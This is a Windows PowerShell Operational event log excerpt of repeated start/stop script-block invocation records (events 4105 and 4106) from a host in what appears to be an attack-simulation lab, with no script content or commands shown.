OpCode=On create calls
RecordNumber=2043303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043297
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043296
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043295
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043294
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043278
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043277
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043272
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043271
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
